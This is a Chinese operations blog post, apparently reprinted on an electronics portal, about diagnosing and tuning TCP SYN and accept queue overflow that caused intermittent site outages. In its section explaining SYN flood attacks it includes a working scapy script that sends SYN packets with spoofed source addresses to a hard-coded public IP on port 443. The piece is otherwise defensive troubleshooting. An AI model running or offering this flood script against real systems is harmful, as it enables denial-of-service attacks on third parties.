发烧友10周年庆典,全网超值优惠来袭!千元现金券,下单抽奖赶紧参与》》

TCP半连接队列和全连接队列的可能和出现问题和解决方案

马哥Linux运维 2018-05-19 10:52 次阅读

问题描述

监控系统发现电商网站主页及其它页面间歇性的无法访问;

查看安全防护和网络流量、应用系统负载均正常;

系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已影响到整个网站的正常业务,我那个心惊呀,最主要是报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断

检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig

观察socket overflow  和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)----- 命令 netstat -s |grep -i listen

TCP半连接队列和全连接队列的可能和出现问题和解决方案

发现SYN socket overflow  和 socket droped 急增加

检查sysctl内核参数:backlog ,somaxconn,file-max 和  应用程序的backlog ;

ss -lnt查询,SEND-Q会取上述参数的最小值

TCP半连接队列和全连接队列的可能和出现问题和解决方案

发现当时队列已经超过网站80端口和443端口默认值

检查 selinux 和 NetworkManager 是否启用 ,建议禁用;

检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle;

抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题 

正常TCP建连接三次握手过程:

TCP半连接队列和全连接队列的可能和出现问题和解决方案

第一步:客户端 发送 syn 到 服务端发起握手;

第二步:服务端 收到 syn后回复syn+ack给 客户端;

第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和  nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

linux内核参进行优化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置参数优化:backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:    for each_a_tag in soup.find_all('a'):        try:            ex.submit(requests.get,each_a_tag['href'])        except Exception as err:            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

TCP半连接队列和全连接队列的可能和出现问题和解决方案

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

sYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort):    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',               '125.130.5.199']    for sPort in range(1024, 65535):        index = random.randrange(4)        ipLayer = IP(src=srcList[index], dst=tgt)        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')        packet = ipLayer/tcpLayer        send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex:    try:        ex.submit(synFlood(tgt,dPort))    except Exception as err:        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发。

出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

原文标题:记一次惊心的网站 TCP 队列问题排查经历

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

《计算机体系结构—网络篇4》之TTL、TCP/IP协议族详述、ARP欺骗、DNS劫持

点击右方"佳嵌"图标,可以看所有课程。我们将《嵌入式工程师-系列课程》分成两大阶段:第一阶段:《计算机体系结构》课程&n
发表于 12-08 00:00 3238次 阅读
《计算机体系结构—网络篇4》之TTL、TCP/IP协议族详述、ARP欺骗、DNS劫持

西门子WINCC与PLC通讯连接的两种方式详细说明

西门子WINCC与SiemensPLC通讯连接有多种方式,下面介绍两种常用的通讯方式。一、采用普通网....
的头像 工业机器人前沿 发表于 09-14 09:50 64次 阅读
西门子WINCC与PLC通讯连接的两种方式详细说明

排除SYSTEMConfigPerformance和mOSCSetPBDIV后,TCP/IP演示应用程序无法正常工作

我有LAN820的波形板。我用PIC32MX795F512L接口。我下载了MAL并在TCP/IP演示应用程序中做了以下修改:我使用内...
发表于 09-12 14:40 66次 阅读
排除SYSTEMConfigPerformance和mOSCSetPBDIV后,TCP/IP演示应用程序无法正常工作

Diodes推出符合汽车规格的计时晶体,可确保ADAS的准确度与可靠性

Diodes 公司 (Nasdaq:DIOD) 已推出一系列符合汽车规格的计时晶体,可承受严苛的作业....
的头像 电子发烧友网工程师 发表于 09-12 10:22 147次 阅读
Diodes推出符合汽车规格的计时晶体,可确保ADAS的准确度与可靠性

工业控制通信协议modbus TCP安全性如何保障?

最近在做项目涉及到工业控制通信协议modbus tcp,采用modbus tcp建立以太网数据通信传输,正常通信是可以的,也是比较方便的,但...
发表于 09-12 02:08 36次 阅读
工业控制通信协议modbus TCP安全性如何保障?

Tcp/ip客户端示例:将数据发送到服务器的最佳方法是什么?

H/WPIC32以太网启动器套件2MPLABX3.2,和声1.6AM,我会把正确的数据发送到我的服务器吗?问题是我对Microchip给出...
发表于 09-11 12:37 39次 阅读
Tcp/ip客户端示例:将数据发送到服务器的最佳方法是什么?

启用了TCP/IP命令和Telnet服务器选项只有LED闪烁

嗨,我成功地下载了WiFig Gdememto的Wi-Fi演示板,它工作正常。(使用Harmony 1.06.02、XC32 v1.40和MPLLABXv3.2...
发表于 09-11 09:18 84次 阅读
启用了TCP/IP命令和Telnet服务器选项只有LED闪烁

wolfssl tcp client优化出错

嘿,如果我用优化级别1编译示例项目,那么内存在MPLAB X的仪表板上显示81%。如果我用优化级别3编译这个,那么内存显示97个...
发表于 09-11 08:44 10次 阅读
wolfssl tcp client优化出错

为什么LWIP TCP主动发送数据失败?

LWIP TCP 主动发送数据失败!!!我是按照网上别人说的办法来做的,但是电脑上没有接收到数据。小白求解。。。 我是这样...
发表于 09-10 04:36 19次 阅读
为什么LWIP TCP主动发送数据失败?

W5500以太网控制器的数据手册和使用STM32F40实现W5500检测ping通

W5500 是一款全硬件 TCP/IP 嵌入式以太网控制器,为嵌入式系统提供了更加简易互联网连接的方....
发表于 09-09 08:00 36次 阅读
W5500以太网控制器的数据手册和使用STM32F40实现W5500检测ping通

LWIP netcon_tcp服务器该怎么进行多连接?

最近移植原子哥stm32f407网络实验9 tcp服务器程序 在这个程序基础上我做了修改同时连接3个TCP客户端收发数据,现在有一个问题...
发表于 09-06 03:16 30次 阅读
LWIP netcon_tcp服务器该怎么进行多连接?

在监控系统中安全用电的研究

随着社会经济的不断发展,电力设备越来越来多,用电规模也越来越来大,设备用电事故也不断频发。终端设备用....
发表于 09-05 14:16 30次 阅读
在监控系统中安全用电的研究

网络配置模式现出哪些行为?

在和谐中,您可以从几种不同的寻址模式中选择。我不确定我是否完全理解发生了什么,有几种模式……TCP_IP_NETWORK_C...
发表于 09-05 10:55 40次 阅读
网络配置模式现出哪些行为?

调试基于TCP/IP的应用程序,程序没有从函数中正确地回退

你好,我现在正在调试一个基于TCP/IP的应用程序。当我调试时,我在反汇编列表中跟踪PC,并且我发现,从我的观点来看,程序...
发表于 09-05 10:00 15次 阅读
调试基于TCP/IP的应用程序,程序没有从函数中正确地回退

串行链路和TCP IP上的MODBUS协议标准介绍

MODBUS 是 OSI 模型第 7 层上的应用层报文传输协议,它在连接至不同类型总线或网络的设备之....
发表于 09-05 08:00 51次 阅读
串行链路和TCP IP上的MODBUS协议标准介绍

嵌入式网络控制器CS6208有什么引脚功能?

CS6208是Myson Century公司推出的专门用于网络控制和传输的芯片,它基于8051体系结构硬件平台的支撑,使用Keil  ...
发表于 09-05 06:51 46次 阅读
嵌入式网络控制器CS6208有什么引脚功能?

微机小电流接地选线装置的说明书免费下载

在电力系统中,单相接地时,由于故障点电流较小,且由于系统三相电压仍然对称不影响对负荷的正常供电,一般....
发表于 09-03 08:00 101次 阅读
微机小电流接地选线装置的说明书免费下载

W5500以太网控制芯片的数据手册免费下载

以太网控制芯片 W5500 在内部利用硬件实现了 TCP/IP 协议栈,即内部结构包含了物理层、数据....
发表于 09-02 08:00 51次 阅读
W5500以太网控制芯片的数据手册免费下载

安防行业光学镜头取得不俗发展,国内企业逐渐成为国际市场主导力量

自登录科创板以来,光学镜头厂商福光股份保持稳定增长态势。据消息,2019年8月26日科创板个股早盘全....
发表于 08-31 08:02 127次 阅读
安防行业光学镜头取得不俗发展,国内企业逐渐成为国际市场主导力量

基于RS485总线的输液网络化监控系统设计

CAN总线主控机系统由单片机最小系统、CAN总线通信接口、人机接口、点滴速度传感器和串口通信下载模块....
发表于 08-28 15:19 129次 阅读
基于RS485总线的输液网络化监控系统设计

为防止网站被篡改该如何加强网站的安全防护

企业网站遭受到攻击,首页文件被篡改,在百度的快照也被劫持跳转到其他网站上,企业网站首先要做的就是网站....
发表于 08-27 17:32 79次 阅读
为防止网站被篡改该如何加强网站的安全防护

喂鸟器监控系统的制作

这是一个监控系统,用于计算,计时,记录和拍摄喂鸟器的鸟类。我的Bird Feeder Monitor....
的头像 39度创意研究所 发表于 08-22 11:44 250次 阅读
喂鸟器监控系统的制作

油箱油位监控仪的制作

此IoT项目需要一个带Wifi的微处理器。我选择了粒子光子,因为这是Ventz用于他的坦克监视器的。
的头像 39度创意研究所 发表于 08-21 09:03 288次 阅读
油箱油位监控仪的制作

使用LabVIEW和物联网介绍进行分布式家庭智能监控系统的设计说明

 为了解决现有家庭监控系统的不足,基于ZigBee无线自组网技术,利用”软件代替硬件”的设计理念,设....
发表于 08-16 17:14 318次 阅读
使用LabVIEW和物联网介绍进行分布式家庭智能监控系统的设计说明

使用LabVIEW进行温室卷帘机远程监控系统的设计资料说明

针对北方日光温室卷帘机控制系统中存在的安全隐患大、有线网络覆盖率低等问题,设计了一种基于LabVIE....
发表于 08-16 17:14 194次 阅读
使用LabVIEW进行温室卷帘机远程监控系统的设计资料说明

如何使用FPGA实现TCP IP协议

随着通信技术的进步,网络带宽以平均每 6 个月增长 1 倍的速度提高,然而 CPU 运算性能的增长速....
发表于 08-16 08:00 72次 阅读
如何使用FPGA实现TCP IP协议

中国智能安防市场产业链及发展前景分析一览

一个完整的智能安防系统主要包括门禁、报警和监控三大部分。
的头像 Midifan 发表于 08-15 18:06 357次 阅读
中国智能安防市场产业链及发展前景分析一览

高性能以太网芯片W5500的数据手册免费下载

 W5500 是一款全硬件 TCP/IP 嵌入式以太网控制器,为嵌入式系统提供了更加简易的互联网连接....
发表于 08-14 16:56 100次 阅读
高性能以太网芯片W5500的数据手册免费下载

如何使用LabVIEW进行局域网动态加密远程监控系统的设计

提出了一种基于LabVIEW,利用TCP协议,现有局域网和USB摄像头实现远程监控的方法。该方法通过....
发表于 08-13 17:40 228次 阅读
如何使用LabVIEW进行局域网动态加密远程监控系统的设计

企业网站为避免被黑客攻击该如何做好安全防护

很多企业网站在建站初期不重视安全问题,80%以上都曾遭受到网络攻击,比如首页被劫持、篡改、跳转、黑链....
发表于 08-12 17:21 67次 阅读
企业网站为避免被黑客攻击该如何做好安全防护

浅析微服务架构中的监控系统

今天这篇文章我们来聊一聊一个重要模块:「 监控系统 」。
的头像 Linux爱好者 发表于 08-11 09:59 401次 阅读
浅析微服务架构中的监控系统

如何安装音视频监控系统?

本文主要详细介绍了如何安装音视频监控系统,需准备拾音器+网络摄像机+交换机+NVR(PC主机)+输出....
的头像 陈翠 发表于 08-08 16:51 292次 阅读
如何安装音视频监控系统?

为了速度牺牲安全,下一代HTTP底层协议或将放弃TCP协议

据报道,国际互联网工程任务组(Internet Engineering Task Force, IE....
的头像 嵌入式资讯精选 发表于 08-06 15:31 287次 阅读
为了速度牺牲安全,下一代HTTP底层协议或将放弃TCP协议

W5500全硬件TCP IP嵌入式以太网控制器芯片的数据手册免费下载

 W5500 是一款全硬件 TCP/IP 嵌入式以太网控制器,为嵌入式系统提供了更加简易的互联网连接....
发表于 08-06 08:00 142次 阅读
W5500全硬件TCP IP嵌入式以太网控制器芯片的数据手册免费下载

ESP8266系列无线模块使用手册免费下载

ESP8266系列无线模块是安信可科技自主研发设计的一。系列高性价比WiFiSOC模组。该系列模块支....
发表于 08-05 08:00 163次 阅读
ESP8266系列无线模块使用手册免费下载

道路监控系统的设计新思路介绍

道路监控系统是智慧交通中的数据源头
的头像 ZLG致远电子 发表于 07-31 16:50 287次 阅读
道路监控系统的设计新思路介绍

关于监控系统的研究和突破

与传统方案相比,PL 与 PS 的紧密耦合使得创建的系统具有更强的响应能力、可重配置能力以及更高的能....
的头像 赛灵思 发表于 07-29 16:29 265次 阅读
关于监控系统的研究和突破

TCP网络调试助手应用程序免费下载

本文档的主要内容详细介绍的是TCP网络调试助手应用程序免费下载。
发表于 07-29 08:00 74次 阅读
TCP网络调试助手应用程序免费下载

赛灵思推出了自适应计算加速平台Versal和加速器Alveo

自行科技通过多年CNN与FPGA自主研发经验,开发出业内最具性价比的FPGA加速设计方案。会中,她表....
的头像 赛灵思 发表于 07-26 16:59 363次 阅读
赛灵思推出了自适应计算加速平台Versal和加速器Alveo

怎样设置通过TCP/IP网络共享USB设备

大多数计算机用户已经接触到 TCP/IP 网络通信协议。该术语是传输控制协议(TCP)和Intern....
的头像 39度创意研究所 发表于 07-26 14:20 527次 阅读
怎样设置通过TCP/IP网络共享USB设备

如何使用ZigBee技术设计塔吊安全监测系统说明

塔吊安全监控系统(包括工地现场装置和远程监控平台)是物联网技术在工程领域的创新型应用,塔吊安全监控系....
发表于 07-24 16:56 133次 阅读
如何使用ZigBee技术设计塔吊安全监测系统说明

为解决地下石油管道监测问题,研制红外航空遥感监测系统

地下石油管道监测是石油安全工作的重要内容之一。针对石油管道的热源特性,开展了基于无人机挂载红外热像仪....
的头像 MEMS 发表于 07-23 08:48 573次 阅读
为解决地下石油管道监测问题,研制红外航空遥感监测系统

安防监控的未来发展方向在哪里?

平安城市、天网工程项目日趋饱和,雪亮工程成为下一个风口,安防视频监控发展方向在哪里?欢迎和小编一起探....
的头像 中车永济电机 发表于 07-19 11:46 971次 阅读
安防监控的未来发展方向在哪里?

LabWindows CVI中的TCP程序说明资料免费下载

本文档的主要内容详细介绍的是LabWindows CVI中的TCP程序说明资料免费下载。
发表于 07-18 17:02 82次 阅读
LabWindows CVI中的TCP程序说明资料免费下载

LabWindows CVI网络化通信的分析与实现资料免费下载

对网络化虚拟仪器系统的体系结构和软件开发环境进行了探讨;对实现网络化虚拟仪器软件系统中所使用到的关键....
发表于 07-18 17:02 87次 阅读
LabWindows CVI网络化通信的分析与实现资料免费下载

集成电路 | 基于图像处理的自动监控报警系统

自动监控报警系统通过 CCD 采集图像,采用二进制编码和中间滤波对采集的图像进行预处理,相邻的窗口变....
的头像 集成电路应用杂志 发表于 07-16 17:26 837次 阅读
集成电路 | 基于图像处理的自动监控报警系统

现代化养殖场的监控方案详细资料说明

现代大规模的家禽养殖场需要安装高效的自动化监控系统,以降低人工成本及人工疏忽所带来的潜在风险;本文中....
发表于 07-16 16:35 112次 阅读
现代化养殖场的监控方案详细资料说明

QOS实例的详细资料解说

例一:对所有流量都控制,没有分类if)#rate-limit input 64000 1500 20....
发表于 07-15 08:00 42次 阅读
QOS实例的详细资料解说

网络工程师的常见面试问题基础知识免费下载

OSI模型是一个工业的标准。它为现在的互联网提供了很大的贡献。是一个逻辑上的规范和标准,很多厂商都要....
发表于 07-15 08:00 102次 阅读
网络工程师的常见面试问题基础知识免费下载

如何实现ABB机器人和视觉系统进行通讯详细教程和方法说明

如何实现ABB机器人和视觉系统间的TCP/IP通讯呢?首先我们先看下通讯效果,然后我们再来解开通讯背....
的头像 PLC技术圈 发表于 07-14 10:20 856次 阅读
如何实现ABB机器人和视觉系统进行通讯详细教程和方法说明

如何使用GSM网络进行智能监控模块的设计

随着计算机与通信技术的高速发展,新技术和智能设备层出不穷,使得无线方式智能监控的实现成为可能。笔者设....
发表于 07-11 17:37 91次 阅读
如何使用GSM网络进行智能监控模块的设计

使用ZigBee设计无线网箱监控系统的方案资料总结说明

目前, 国内应用先进的控制技术进行水体温度和溶解氧浓度监控一般是使用单片机系统, 监测信号传输使用有....
发表于 07-10 16:00 190次 阅读
使用ZigBee设计无线网箱监控系统的方案资料总结说明

基于无线传感器网络在停车场监控系统中的应用

为了给停车场顾客提供有用的信息,该系统提供了停车场中的总车位占用数,以及更为具体的区域信息。我们在每....
发表于 07-09 08:50 139次 阅读
基于无线传感器网络在停车场监控系统中的应用

W5500 TCP IP嵌入式以太网控制器的数据手册免费下载

W5500芯片是一个硬连接的TCP/IP嵌入式以太网控制器,它提供了与嵌入式系统更容易的互联网连接。....
发表于 07-08 08:00 84次 阅读
W5500 TCP IP嵌入式以太网控制器的数据手册免费下载

车流涌动的道路如何做好监控?

道路监控系统是智慧交通中的数据源头,本文为您介绍道路监控系统的设计新思路。
发表于 06-27 10:11 100次 阅读
车流涌动的道路如何做好监控?

基于DP现场总线网络技术对水电厂监控系统的设计

现场总线是安装在生产过程区域的现场设备/仪表与控制室内的自动控制装置/系统之间的一种串行、数字式、多....
发表于 06-27 08:53 82次 阅读
基于DP现场总线网络技术对水电厂监控系统的设计

Symbian操作系统环境下通信系统如何进行设计与实现

Symbian 操作系统是一种32 位抢占式多任务操作系统,具有功耗低、内存占用少等特点,非常适合手....
发表于 06-26 14:33 92次 阅读
Symbian操作系统环境下通信系统如何进行设计与实现

无线监控摄像头四种常见的技术方式

在无线监控系统中,无线监控设备在以下四大种类:3G无线监控设备,4G无线视频传输设备,微波无线监控设....
发表于 06-21 16:55 459次 阅读
无线监控摄像头四种常见的技术方式

出租车将安装音视频监管系统 可定位一键报警

10月8日,记者从日照市运管处获悉,为提升全市出租车运营秩序管理力度,规范乘客和驾驶员行为,将对全市....
发表于 06-21 16:22 127次 阅读
出租车将安装音视频监管系统 可定位一键报警

华为云在Kubernetes大规模场景下的Service性能优化实践

本文档的主要内容详细介绍的是华为云在Kubernetes大规模场景下的Service性能优化实践包括....
发表于 06-21 08:00 204次 阅读
华为云在Kubernetes大规模场景下的Service性能优化实践

海康威视 | 国内供应商近年来成长迅速,公司供应链情况一切正常

特朗普政府正在考虑限制中国视频监控公司海康威视购买美国技术的能力。
的头像 半导体投资联盟 发表于 06-19 11:10 1112次 阅读
海康威视 | 国内供应商近年来成长迅速,公司供应链情况一切正常